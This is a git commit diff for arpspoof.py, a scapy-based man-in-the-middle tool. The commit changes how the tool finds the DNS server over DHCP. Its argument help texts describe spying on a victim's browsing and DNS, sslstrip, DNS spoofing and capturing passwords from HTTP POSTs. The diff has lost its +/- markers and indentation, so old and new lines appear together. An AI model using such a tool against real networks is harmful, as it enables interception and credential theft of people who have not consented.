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Fixed DHCP packet handling

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DanMcInerney 2013-06-05 21:20:26 -06:00
parent 60e69b96a9
commit 024fb3c97f
1 changed files with 11 additions and 9 deletions
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20
arpspoof.py
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@ -5,7 +5,7 @@ logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import *
conf.verb=0
#Below is necessary to receive a response to the DHCP packets for some reason. If you know the answer to that message me.
conf.checkIPaddr=1
conf.checkIPaddr=0
import time
import sys
import threading
@ -27,7 +27,7 @@ parser.add_argument("-u", "--urlspy", help="Show all URLs the victim is browsing
parser.add_argument("-d", "--dnsspy", help="Show all DNS resquests the victim makes. This has the advantage of showing HTTPS domains which the -u option will not but does not show the full URL the victim is requesting.", action="store_true")
parser.add_argument("-ip", "--ipaddress", help="Enter IP address of victim and skip the arp ping at the beginning.")
parser.add_argument("-i", "--driftnet", help="Open an xterm window with driftnet.", action="store_true")
parser.add_argument("-ssl", "--sslstrip", help="Open an xterm window with sslstrip and output to sslstrip.txt", action="store_true")
parser.add_argument("-s", "--sslstrip", help="Open an xterm window with sslstrip and output to sslstrip.txt", action="store_true")
parser.add_argument("-uv", "--verboseURL", help="Shows all URLs the victim visits including possible searches.", action="store_true")
parser.add_argument("-dns", "--dnsspoof", help="Spoof DNS responses of a specific domain. Enter domain after this argument")
parser.add_argument("-p", "--post", help="Print the URL the victim POSTs to, show usernames and passwords in unsecure HTTP POSTs", action="store_true")
@ -58,13 +58,15 @@ interface = routerRE.group(3)
localIP = [x[4] for x in scapy.all.conf.route.routes if x[2] != '0.0.0.0'][0]
print "Checking the DNS server..."
dhcp_discover = Ether(dst="ff:ff:ff:ff:ff:ff")/IP(src="0.0.0.0",dst="255.255.255.255")/UDP(sport=68,dport=67)/BOOTP(chaddr=RandString(12,'0123456789abcdef'))/DHCP(options=[("message-type","discover"),"end"])
ans, unans = srp(dhcp_discover, timeout=7, retry=2)
if ans:
for p in ans:
DNSserver = p[1][IP].src
print "DNS server at:", DNSserver, '\n'
else:
#dhcp_discover = Ether(dst="ff:ff:ff:ff:ff:ff")/IP(src="0.0.0.0",dst="255.255.255.255")/UDP(sport=68,dport=67)/BOOTP(chaddr=RandString(12,'0123456789abcdef'))/DHCP(options=[("message-type","discover"),"end"])
#ans, unans = srp(dhcp_discover, timeout=7, retry=2)
#if ans:
# for p in ans:
try:
DNSserver = dhcp_request()
DNSserver = DNSserver[IP].src
print "DNS server at:", DNSserver, '\n'
except:
print "No answer to DHCP packet sent to find the DNS server. Setting DNS server to router IP.\n"
DNSserver = routerIP